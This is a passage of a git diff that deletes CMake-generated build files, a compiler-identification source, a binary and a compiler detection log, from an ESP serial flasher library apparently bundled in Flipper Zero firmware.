ARCHITECTURE_ID "" -# endif - -#elif defined(__IAR_SYSTEMS_ICC__) || defined(__IAR_SYSTEMS_ICC) -# if defined(__ICCARM__) -# define ARCHITECTURE_ID "ARM" - -# elif defined(__ICCRX__) -# define ARCHITECTURE_ID "RX" - -# elif defined(__ICCRH850__) -# define ARCHITECTURE_ID "RH850" - -# elif defined(__ICCRL78__) -# define ARCHITECTURE_ID "RL78" - -# elif defined(__ICCRISCV__) -# define ARCHITECTURE_ID "RISCV" - -# elif defined(__ICCAVR__) -# define ARCHITECTURE_ID "AVR" - -# elif defined(__ICC430__) -# define ARCHITECTURE_ID "MSP430" - -# elif defined(__ICCV850__) -# define ARCHITECTURE_ID "V850" - -# elif defined(__ICC8051__) -# define ARCHITECTURE_ID "8051" - -# else /* unknown architecture */ -# define ARCHITECTURE_ID "" -# endif - -#elif defined(__ghs__) -# if defined(__PPC64__) -# define ARCHITECTURE_ID "PPC64" - -# elif defined(__ppc__) -# define ARCHITECTURE_ID "PPC" - -# elif defined(__ARM__) -# define ARCHITECTURE_ID "ARM" - -# elif defined(__x86_64__) -# define ARCHITECTURE_ID "x64" - -# elif defined(__i386__) -# define ARCHITECTURE_ID "X86" - -# else /* unknown architecture */ -# define ARCHITECTURE_ID "" -# endif -#else -# define ARCHITECTURE_ID -#endif - -/* Convert integer to decimal digit literals. */ -#define DEC(n) \ - ('0' + (((n) / 10000000)%10)), \ - ('0' + (((n) / 1000000)%10)), \ - ('0' + (((n) / 100000)%10)), \ - ('0' + (((n) / 10000)%10)), \ - ('0' + (((n) / 1000)%10)), \ - ('0' + (((n) / 100)%10)), \ - ('0' + (((n) / 10)%10)), \ - ('0' + ((n) % 10)) - -/* Convert integer to hex digit literals. */ -#define HEX(n) \ - ('0' + ((n)>>28 & 0xF)), \ - ('0' + ((n)>>24 & 0xF)), \ - ('0' + ((n)>>20 & 0xF)), \ - ('0' + ((n)>>16 & 0xF)), \ - ('0' + ((n)>>12 & 0xF)), \ - ('0' + ((n)>>8 & 0xF)), \ - ('0' + ((n)>>4 & 0xF)), \ - ('0' + ((n) & 0xF)) - -/* Construct a string literal encoding the version number components. */ -#ifdef COMPILER_VERSION_MAJOR -char const info_version[] = { - 'I', 'N', 'F', 'O', ':', - 'c','o','m','p','i','l','e','r','_','v','e','r','s','i','o','n','[', - COMPILER_VERSION_MAJOR, -# ifdef COMPILER_VERSION_MINOR - '.', COMPILER_VERSION_MINOR, -# ifdef COMPILER_VERSION_PATCH - '.', COMPILER_VERSION_PATCH, -# ifdef COMPILER_VERSION_TWEAK - '.', COMPILER_VERSION_TWEAK, -# endif -# endif -# endif - ']','\0'}; -#endif - -/* Construct a string literal encoding the internal version number. */ -#ifdef COMPILER_VERSION_INTERNAL -char const info_version_internal[] = { - 'I', 'N', 'F', 'O', ':', - 'c','o','m','p','i','l','e','r','_','v','e','r','s','i','o','n','_', - 'i','n','t','e','r','n','a','l','[', - COMPILER_VERSION_INTERNAL,']','\0'}; -#endif - -/* Construct a string literal encoding the version number components. */ -#ifdef SIMULATE_VERSION_MAJOR -char const info_simulate_version[] = { - 'I', 'N', 'F', 'O', ':', - 's','i','m','u','l','a','t','e','_','v','e','r','s','i','o','n','[', - SIMULATE_VERSION_MAJOR, -# ifdef SIMULATE_VERSION_MINOR - '.', SIMULATE_VERSION_MINOR, -# ifdef SIMULATE_VERSION_PATCH - '.', SIMULATE_VERSION_PATCH, -# ifdef SIMULATE_VERSION_TWEAK - '.', SIMULATE_VERSION_TWEAK, -# endif -# endif -# endif - ']','\0'}; -#endif - -/* Construct the string literal in pieces to prevent the source from - getting matched. Store it in a pointer rather than an array - because some compilers will just produce instructions to fill the - array rather than assigning a pointer to a static array. */ -char const* info_platform = "INFO" ":" "platform[" PLATFORM_ID "]"; -char const* info_arch = "INFO" ":" "arch[" ARCHITECTURE_ID "]"; - - - - -#if defined(__INTEL_COMPILER) && defined(_MSVC_LANG) && _MSVC_LANG < 201403L -# if defined(__INTEL_CXX11_MODE__) -# if defined(__cpp_aggregate_nsdmi) -# define CXX_STD 201402L -# else -# define CXX_STD 201103L -# endif -# else -# define CXX_STD 199711L -# endif -#elif defined(_MSC_VER) && defined(_MSVC_LANG) -# define CXX_STD _MSVC_LANG -#else -# define CXX_STD __cplusplus -#endif - -const char* info_language_dialect_default = "INFO" ":" "dialect_default[" -#if CXX_STD > 201703L - "20" -#elif CXX_STD >= 201703L - "17" -#elif CXX_STD >= 201402L - "14" -#elif CXX_STD >= 201103L - "11" -#else - "98" -#endif -"]"; - -/*--------------------------------------------------------------------------*/ - -int main(int argc, char* argv[]) -{ - int require = 0; - require += info_compiler[argc]; - require += info_platform[argc]; -#ifdef COMPILER_VERSION_MAJOR - require += info_version[argc]; -#endif -#ifdef COMPILER_VERSION_INTERNAL - require += info_version_internal[argc]; -#endif -#ifdef SIMULATE_ID - require += info_simulate[argc]; -#endif -#ifdef SIMULATE_VERSION_MAJOR - require += info_simulate_version[argc]; -#endif -#if defined(__CRAYXE) || defined(__CRAYXC) - require += info_cray[argc]; -#endif - require += info_language_dialect_default[argc]; - (void)argv; - return require; -} diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/3.16.3/CompilerIdCXX/a.out b/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/3.16.3/CompilerIdCXX/a.out deleted file mode 100644 index 34ec4a035..000000000 Binary files a/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/3.16.3/CompilerIdCXX/a.out and /dev/null differ diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/CMakeOutput.log b/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/CMakeOutput.log deleted file mode 100644 index 50d59997f..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/CMakeFiles/CMakeOutput.log +++ /dev/null @@ -1,463 +0,0 @@ -The system is: Linux - 5.10.16.3-microsoft-standard-WSL2 - x86_64 -Compiling the C compiler identification source file "CMakeCCompilerId.c" succeeded. -Compiler: /usr/bin/cc -Build flags: -Id flags: - -The output was: -0 - - -Compilation of the C compiler identification source "CMakeCCompilerId.c" produced "a.out" - -The C compiler identification is GNU, found in "/home/cococode/flipperzero-firmware/lib/esp-serial-flasher/CMakeFiles/3.16.3/CompilerIdC/a.out" - -Compiling the CXX compiler identification source file "CMakeCXXCompilerId.cpp" succeeded. -Compiler: /usr/bin/c++ -Build flags: -Id flags: - -The output was: -0 - - -Compilation of the CXX compiler identification source "CMakeCXXCompilerId.cpp" produced "a.out" - -The CXX compiler identification is GNU, found in "/home/cococode/flipperzero-firmware/lib/esp-serial-flasher/CMakeFiles/3.16.3/CompilerIdCXX/a.out" - -Determining if the C compiler works passed with the following output: -Change Dir: /home/cococode/flipperzero-firmware/lib/esp-serial-flasher/CMakeFiles/CMakeTmp - -Run Build Command(s):/usr/bin/make cmTC_8695b/fast && /usr/bin/make -f CMakeFiles/cmTC_8695b.dir/build.make CMakeFiles/cmTC_8695b.dir/build -make[1]: Entering directory '/home/cococode/flipperzero-firmware/lib/esp-serial-flasher/CMakeFiles/CMakeTmp' -Building C object CMakeFiles/cmTC_8695b.dir/testCCompiler.c.o -/usr/bin/cc -o CMakeFiles/cmTC_8695b.dir/testCCompiler.c.o -c /home/cococode/flipperzero-firmware/lib/esp-serial-flasher/CMakeFiles/CMakeTmp/testCCompiler.c -Linking C executable cmTC_8695b -/usr/bin/cmake -E cmake_link_script CMakeFiles/cmTC_8695b.dir/link.txt --verbose=1 -/usr/bin/cc -rdynamic CMakeFiles/cmTC_8695b.dir/testCCompiler.c.o -o cmTC_8695b -make[1]: Leaving directory '/home/cococode/flipperzero-firmware/lib/esp-serial-flasher/CMakeFiles/CMakeTmp' - - - -Detecting C compiler ABI info compiled with the following output: -Change Dir: /home/cococode/flipperzero-firmware/lib/esp-serial-flasher/CMakeFiles/CMakeTmp - -Run Build Command(s):/usr/bin/make cmTC_8c7d9/fast && /usr/bin/make -f CMakeFiles/cmTC_8c7d9.dir/build.make CMakeFiles/cmTC_8c7d9.dir/build -make[1]: Entering directory '/home/cococode/flipperzero-firmware/lib/esp-serial-flasher/CMakeFiles/CMakeTmp' -Building C object CMakeFiles/cmTC_8c7d9.dir/CMakeCCompilerABI.c.o -/usr/bin/cc -v -o CMakeFiles/cmTC_8c7d9.dir/CMakeCCompilerABI.c.o -c /usr/share/cmake-3.16/Modules/CMakeCCompilerABI.c -Using built-in specs. -COLLECT_GCC=/usr/bin/cc -OFFLOAD_TARGET_NAMES=nvptx-none:hsa -OFFLOAD_TARGET_DEFAULT=1 -Target: x86_64-linux-gnu -Configured with: ../src/configure -v --with-pkgversion='Ubuntu 9.4.0-1ubuntu1~20.04.1' --with-bugurl=file:///usr/share/doc/gcc-9/README.Bugs --enable-languages=c,ada,c++,go,brig,d,fortran,objc,obj-c++,gm2 --prefix=/usr --with-gcc-major-version-only --program-suffix=-9 --program-prefix=x86_64-linux-gnu- --enable-shared --enable-linker-build-id --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --libdir=/usr/lib --enable-nls --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --with-default-libstdcxx-abi=new --enable-gnu-unique-object --disable-vtable-verify --enable-plugin --enable-default-pie --with-system-zlib --with-target-system-zlib=auto --enable-objc-gc=auto --enable-multiarch --disable-werror --with-arch-32=i686 --with-abi=m64 --with-multilib-list=m32,m64,mx32 --enable-multilib --with-tune=generic --enable-offload-targets=nvptx-none=/build/gcc-9-Av3uEd/gcc-9-9.4.0/debian/tmp-nvptx/usr,hsa --without-cuda-driver --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu -Thread model: posix -gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1) -COLLECT_GCC_OPTIONS='-v' '-o' 'CMakeFiles/cmTC_8c7d9.dir/CMakeCCompilerABI.c.o' '-c' '-mtune=generic' '-march=x86-64' - /usr/lib/gcc/x86_64-linux-gnu/9/cc1 -quiet -v -imultiarch x86_64-linux-gnu /usr/share/cmake-3.16/Modules/CMakeCCompilerABI.c -quiet -dumpbase CMakeCCompilerABI.c -mtune=generic -march=x86-64 -auxbase-strip CMakeFiles/cmTC_8c7d9.dir/CMakeCCompilerABI.c.o -version -fasynchronous-unwind-tables -fstack-protector-strong -Wformat -Wformat-security -fstack-clash-protection -fcf-protection -o /tmp/ccBr8JWY.s -GNU C17 (Ubuntu 9.4.0-1ubuntu1~20.04.1) version 9.4.0 (x86_64-linux-gnu) - compiled by GNU C version 9.4.0, GMP version 6.2.0, MPFR version 4.0.2, MPC version 1.1.0, isl version isl-0.22.1-GMP - -GGC heuristics: --param ggc-min-expand=100 --param ggc-min-heapsize=131072 -ignoring nonexistent directory "/usr/local/include/x86_64-linux-gnu" -ignoring nonexistent directory "/usr/lib/gcc/x86_64-linux-gnu/9/include-fixed" -ignoring nonexistent directory "/usr/lib/gcc/x86_64-linux-gnu/9/../../../../x86_64-linux-gnu/include" -#include "..." search starts here: -#include <...> search starts here: - /usr/lib/gcc/x86_64-linux-gnu/9/include - /usr/local/include - /usr/include/x86_64-linux-gnu - /usr/include -End of search list. -GNU C17 (Ubuntu 9.4.0-1ubuntu1~20.04.1) version 9.4.0 (x86_64-linux-gnu) - compiled by GNU C version 9.4.0, GMP version 6.2.0, MPFR version 4.0.2, MPC version 1.1.0, isl version isl-0.22.1-GMP - -GGC heuristics: --param ggc-min-expand=100 --param ggc-min-heapsize=131072 -Compiler executable checksum: c0c95c0b4209efec1c1892d5ff24030b -COLLECT_GCC_OPTIONS='-v' '-o' 'CMakeFiles/cmTC_8c7d9.dir/CMakeCCompilerABI.c.o' '-c' '-mtune=generic' '-march=x86-64' - as -v --64 -o CMakeFiles/cmTC_8c7d9.dir/CMakeCCompilerABI.c.o /tmp/ccBr8JWY.s -GNU assembler version 2.34 (x86_64-linux-gnu) using BFD version (GNU Binutils for Ubuntu) 2.34 -COMPILER_PATH=/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/:/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/ -LIBRARY_PATH=/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/:/usr/lib/gcc/x86_64-linux-gnu/9/../../../../lib/:/lib/x86_64-linux-gnu/:/lib/../lib/:/usr/lib/x86_64-linux-gnu/:/usr/lib/../lib/:/usr/lib/gcc/x86_64-linux-gnu/9/../../../:/lib/:/usr/lib/ -COLLECT_GCC_OPTIONS='-v' '-o' 'CMakeFiles/cmTC_8c7d9.dir/CMakeCCompilerABI.c.o' '-c' '-mtune=generic' '-march=x86-64' -Linking C executable cmTC_8c7d9 -/usr/bin/cmake -E cmake_link_script CMakeFiles/cmTC_8c7d9.dir/link.txt --verbose=1 -/usr/bin/cc -v -rdynamic CMakeFiles/cmTC_8c7d9.dir/CMakeCCompilerABI.c.o -o cmTC_8c7d9 -Using built-in specs. -COLLECT_GCC=/usr/bin/cc -COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/9/lto-wrapper -OFFLOAD_TARGET_NAMES=nvptx-none:hsa -OFFLOAD_TARGET_DEFAULT=1 -Target: x86_64-linux-gnu -Configured with: ../src/configure -v --with-pkgversion='Ubuntu 9.4.0-1ubuntu1~20.04.1' --with-bugurl=file:///usr/share/doc/gcc-9/README.Bugs --enable-languages=c,ada,c++,go,brig,d,fortran,objc,obj-c++,gm2 --prefix=/usr --with-gcc-major-version-only --program-suffix=-9 --program-prefix=x86_64-linux-gnu- --enable-shared --enable-linker-build-id --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --libdir=/usr/lib --enable-nls --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --with-default-libstdcxx-abi=new --enable-gnu-unique-object --disable-vtable-verify --enable-plugin --enable-default-pie --with-system-zlib --with-target-system-zlib=auto --enable-objc-gc=auto --enable-multiarch --disable-werror --with-arch-32=i686 --with-abi=m64 --with-multilib-list=m32,m64,mx32 --enable-multilib --with-tune=generic --enable-offload-targets=nvptx-none=/build/gcc-9-Av3uEd/gcc-9-9.4.0/debian/tmp-nvptx/usr,hsa --without-cuda-driver --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu -Thread model: posix -gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1) -COMPILER_PATH=/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/:/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/ -LIBRARY_PATH=/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/:/usr/lib/gcc/x86_64-linux-gnu/9/../../../../lib/:/lib/x86_64-linux-gnu/:/lib/../lib/:/usr/lib/x86_64-linux-gnu/:/usr/lib/../lib/:/usr/lib/gcc/x86_64-linux-gnu/9/../../../:/lib/:/usr/lib/ -COLLECT_GCC_OPTIONS='-v' '-rdynamic' '-o' 'cmTC_8c7d9' '-mtune=generic' '-march=x86-64' - /usr/lib/gcc/x86_64-linux-gnu/9/collect2 -plugin /usr/lib/gcc/x86_64-linux-gnu/9/liblto_plugin.so -plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/9/lto-wrapper -plugin-opt=-fresolution=/tmp/cc78SKyq.res -plugin-opt=-pass-through=-lgcc -plugin-opt=-pass-through=-lgcc_s -plugin-opt=-pass-through=-lc -plugin-opt=-pass-through=-lgcc -plugin-opt=-pass-through=-lgcc_s --build-id --eh-frame-hdr -m elf_x86_64 --hash-style=gnu --as-needed -export-dynamic -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o cmTC_8c7d9 /usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/9/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/9 -L/usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/9/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/9/../../.. CMakeFiles/cmTC_8c7d9.dir/CMakeCCompilerABI.c.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/9/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/crtn.o -COLLECT_GCC_OPTIONS='-v' '-rdynamic' '-o' 'cmTC_8c7d9' '-mtune=generic' '-march=x86-64' -make[1]: Leaving directory '/home/cococode/flipperzero-firmware/lib/esp-serial-flasher/CMakeFiles/CMakeTmp' - - - -Parsed C implicit include dir info from above output: rv=done - found start of include info - found start of implicit include info - add: [/usr/lib/gcc/x86_64-linux-gnu/9/include] - add: [/usr/local/include] - add: [/usr/include/x86_64-linux-gnu] - add: [/usr/include] - end of search list found - collapse include dir [/usr/lib/gcc/x86_64-linux-gnu/9/include] ==> [/usr/lib/gcc/x86_64-linux-gnu/9/include] - collapse include dir [/usr/local/include] ==> [/usr/local/include] - collapse include dir [/usr/include/x86_64-linux-gnu] ==> [/usr/include/x86_64-linux-gnu] - collapse include dir [/usr/include] ==> [/usr/include] - implicit include dirs: [/usr/lib/gcc/x86_64-linux-gnu/9/include;/usr/local/include;/usr/include/x86_64-linux-gnu;/usr/include] - - -Parsed C implicit link information from above output: - link line regex: [^( *|.*[/\])(ld|CMAKE_LINK_STARTFILE-NOTFOUND|([^/\]+-)?ld|collect2)[^/\]*( |$)] - ignore line: [Change Dir: /home/cococode/flipperzero-firmware/lib/esp-serial-flasher/CMakeFiles/CMakeTmp] - ignore line: [] - ignore line: [Run Build Command(s):/usr/bin/make cmTC_8c7d9/fast && /usr/bin/make -f CMakeFiles/cmTC_8c7d9.dir/build.make CMakeFiles/cmTC_8c7d9.dir/build] - ignore line: [make[1]: Entering directory '/home/cococode/flipperzero-firmware/lib/esp-serial-flasher/CMakeFiles/CMakeTmp'] - ignore line: [Building C object CMakeFiles/cmTC_8c7d9.dir/CMakeCCompilerABI.c.o] - ignore line: [/usr/bin/cc -v -o CMakeFiles/cmTC_8c7d9.dir/CMakeCCompilerABI.c.o -c /usr/share/cmake-3.16/Modules/CMakeCCompilerABI.c] - ignore line: [Using built-in specs.] - ignore line: [COLLECT_GCC=/usr/bin/cc] - ignore line: [OFFLOAD_TARGET_NAMES=nvptx-none:hsa] - ignore line: [OFFLOAD_TARGET_DEFAULT=1] - ignore line: [Target: x86_64-linux-gnu] - ignore line: [Configured with: ../src/configure -v --with-pkgversion='Ubuntu 9.4.0-1ubuntu1~20.04.1' --with-bugurl=file:///usr/share/doc/gcc-9/README.Bugs --enable-languages=c ada c++ go brig d fortran objc obj-c++ gm2 --prefix=/usr --with-gcc-major-version-only --program-suffix=-9 --program-prefix=x86_64-linux-gnu- --enable-shared --enable-linker-build-id --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --libdir=/usr/lib --enable-nls --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --with-default-libstdcxx-abi=new --enable-gnu-unique-object --disable-vtable-verify --enable-plugin --enable-default-pie --with-system-zlib --with-target-system-zlib=auto --enable-objc-gc=auto --enable-multiarch --disable-werror --with-arch-32=i686 --with-abi=m64 --with-multilib-list=m32 m64 mx32 --enable-multilib --with-tune=generic --enable-offload-targets=nvptx-none=/build/gcc-9-Av3uEd/gcc-9-9.4.0/debian/tmp-nvptx/usr hsa --without-cuda-driver --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu] - ignore line: [Thread model: posix] - ignore line: [gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1) ] - ignore line: [COLLECT_GCC_OPTIONS='-v' '-o' 'CMakeFiles/cmTC_8c7d9.dir/CMakeCCompilerABI.c.o' '-c' '-mtune=generic' '-march=x86-64'] - ignore line: [ /usr/lib/gcc/x86_64-linux-gnu/9/cc1 -quiet -v -imultiarch x86_64-linux-gnu /usr/share/cmake-3.16/Modules/CMakeCCompilerABI.c -quiet -dumpbase CMakeCCompilerABI.c -mtune=generic -march=x86-64 -auxbase-strip CMakeFiles/cmTC_8c7d9.dir/CMakeCCompilerABI.c.o -version -fasynchronous-unwind-tables -fstack-protector-strong -Wformat -Wformat-security -fstack-clash-protection -fcf-protection -o /tmp/ccBr8JWY.s] - ignore line: [GNU C17 (Ubuntu 9.4.0-1ubuntu1~20.04.1) version 9.4.0 (x86_64-linux-gnu)] - ignore line: [ compiled by GNU C version 9.4.0 GMP version 6.2.0 MPFR version 4.0.2 MPC version 1.1.0 isl version isl-0.22.1-GMP] - ignore line: [] - ignore line: [GGC heuristics: --param ggc-min-expand=100 --param ggc-min-heapsize=131072] - ignore line: [ignoring nonexistent directory "/usr/local/include/x86_64-linux-gnu"] - ignore line: [ignoring nonexistent directory "/usr/lib/gcc/x86_64-linux-gnu/9/include-fixed"] - ignore line: [ignoring nonexistent directory "/usr/lib/gcc/x86_64-linux-gnu/9/../../../../x86_64-linux-gnu/include"] - ignore line: [#include "..." search starts here:] - ignore line: [#include <...> search starts here:] - ignore line: [ /usr/lib/gcc/x86_64-linux-gnu/9/include] - ignore line: [ /usr/local/include] - ignore line: [ /usr/include/x86_64-linux-gnu] - ignore line: [ /usr/include] - ignore line: [End of search list.] - ignore line: [GNU C17 (Ubuntu 9.4.0-1ubuntu1~20.04.1) version 9.4.0 (x86_64-linux-gnu)] - ignore line: [ compiled by GNU C version 9.4.0 GMP version 6.2.0 MPFR version 4.0.2 MPC version 1.1.0 isl version isl-0.22.1-GMP] - ignore line: [] - ignore line: [GGC heuristics: --param ggc-min-expand=100 --param ggc-min-heapsize=131072] - ignore line: [Compiler executable checksum: c0c95c0b4209efec1c1892d5ff24030b] - ignore line: [COLLECT_GCC_OPTIONS='-v' '-o' 'CMakeFiles/cmTC_8c7d9.dir/CMakeCCompilerABI.c.o' '-c' '-mtune=generic' '-march=x86-64'] - ignore line: [ as -v --64 -o CMakeFiles/cmTC_8c7d9.dir/CMakeCCompilerABI.c.o /tmp/ccBr8JWY.s] - ignore line: [GNU assembler version 2.34 (x86_64-linux-gnu) using BFD version (GNU Binutils for Ubuntu) 2.34] - ignore line: [COMPILER_PATH=/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/:/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/] - ignore line: [LIBRARY_PATH=/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/:/usr/lib/gcc/x86_64-linux-gnu/9/../../../../lib/:/lib/x86_64-linux-gnu/:/lib/../lib/:/usr/lib/x86_64-linux-gnu/:/usr/lib/../lib/:/usr/lib/gcc/x86_64-linux-gnu/9/../../../:/lib/:/usr/lib/] - ignore line: [COLLECT_GCC_OPTIONS='-v' '-o' 'CMakeFiles/cmTC_8c7d9.dir/CMakeCCompilerABI.c.o' '-c' '-mtune=generic' '-march=x86-64'] - ignore line: [Linking C executable cmTC_8c7d9] - ignore line: [/usr/bin/cmake -E cmake_link_script CMakeFiles/cmTC_8c7d9.dir/link.txt --verbose=1] - ignore line: [/usr/bin/cc -v -rdynamic CMakeFiles/cmTC_8c7d9.dir/CMakeCCompilerABI.c.o -o cmTC_8c7d9 ] - ignore line: [Using built-in specs.] - ignore line: [COLLECT_GCC=/usr/bin/cc] - ignore line: [COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/9/lto-wrapper] - ignore line: [OFFLOAD_TARGET_NAMES=nvptx-none:hsa] - ignore line: [OFFLOAD_TARGET_DEFAULT=1] - ignore line: [Target: x86_64-linux-gnu] - ignore line: [Configured with: ../src/configure -v --with-pkgversion='Ubuntu 9.4.0-1ubuntu1~20.04.1' --with-bugurl=file:///usr/share/doc/gcc-9/README.Bugs --enable-languages=c ada c++ go brig d fortran objc obj-c++ gm2 --prefix=/usr --with-gcc-major-version-only --program-suffix=-9 --program-prefix=x86_64-linux-gnu- --enable-shared --enable-linker-build-id --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --libdir=/usr/lib --enable-nls --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --with-default-libstdcxx-abi=new --enable-gnu-unique-object --disable-vtable-verify --enable-plugin --enable-default-pie --with-system-zlib --with-target-system-zlib=auto --enable-objc-gc=auto --enable-multiarch --disable-werror --with-arch-32=i686 --with-abi=m64 --with-multilib-list=m32 m64 mx32 --enable-multilib --with-tune=generic --enable-offload-targets=nvptx-none=/build/gcc-9-Av3uEd/gcc-9-9.4.0/debian/tmp-nvptx/usr hsa --without-cuda-driver --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu] - ignore line: [Thread model: posix] - ignore line: [gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1) ] - ignore line: [COMPILER_PATH=/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/:/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/] - ignore line: [LIBRARY_PATH=/usr/lib/gcc/x86_64-linux-gnu/9/:/usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/:/usr/lib/gcc/x86_64-linux-gnu/9/../../../../lib/:/lib/x86_64-linux-gnu/:/lib/../lib/:/usr/lib/x86_64-linux-gnu/:/usr/lib/../lib/:/usr/lib/gcc/x86_64-linux-gnu/9/../../../:/lib/:/usr/lib/] - ignore line: [COLLECT_GCC_OPTIONS='-v' '-rdynamic' '-o' 'cmTC_8c7d9' '-mtune=generic' '-march=x86-64'] - link line: [ /usr/lib/gcc/x86_64-linux-gnu/9/collect2 -plugin /usr/lib/gcc/x86_64-linux-gnu/9/liblto_plugin.so -plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/9/lto-wrapper -plugin-opt=-fresolution=/tmp/cc78SKyq.res -plugin-opt=-pass-through=-lgcc -plugin-opt=-pass-through=-lgcc_s -plugin-opt=-pass-through=-lc -plugin-opt=-pass-through=-lgcc -plugin-opt=-pass-through=-lgcc_s --build-id --eh-frame-hdr -m elf_x86_64 --hash-style=gnu --as-needed -export-dynamic -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o cmTC_8c7d9 /usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/9/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/9 -L/usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/9/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/9/../../.. CMakeFiles/cmTC_8c7d9.dir/CMakeCCompilerABI.c.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/9/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/crtn.o] - arg [/usr/lib/gcc/x86_64-linux-gnu/9/collect2] ==> ignore - arg [-plugin] ==> ignore - arg [/usr/lib/gcc/x86_64-linux-gnu/9/liblto_plugin.so] ==> ignore - arg [-plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/9/lto-wrapper] ==> ignore - arg [-plugin-opt=-fresolution=/tmp/cc78SKyq.res] ==> ignore - arg [-plugin-opt=-pass-through=-lgcc] ==> ignore - arg [-plugin-opt=-pass-through=-lgcc_s] ==> ignore - arg [-plugin-opt=-pass-through=-lc] ==> ignore - arg [-plugin-opt=-pass-through=-lgcc] ==> ignore - arg [-plugin-opt=-pass-through=-lgcc_s] ==> ignore - arg [--build-id] ==> ignore - arg [--eh-frame-hdr] ==> ignore - arg [-m] ==> ignore - arg [elf_x86_64] ==> ignore - arg [--hash-style=gnu] ==> ignore - arg [--as-needed] ==> ignore - arg [-export-dynamic] ==> ignore - arg [-dynamic-linker] ==> ignore - arg [/lib64/ld-linux-x86-64.so.2] ==> ignore - arg [-pie] ==> ignore - arg [-znow] ==> ignore - arg [-zrelro] ==> ignore - arg [-o] ==> ignore - arg [cmTC_8c7d9] ==> ignore - arg [/usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/Scrt1.o] ==> ignore - arg [/usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/crti.o] ==> ignore - arg [/usr/lib/gcc/x86_64-linux-gnu/9/crtbeginS.o] ==> ignore - arg [-L/usr/lib/gcc/x86_64-linux-gnu/9] ==> dir 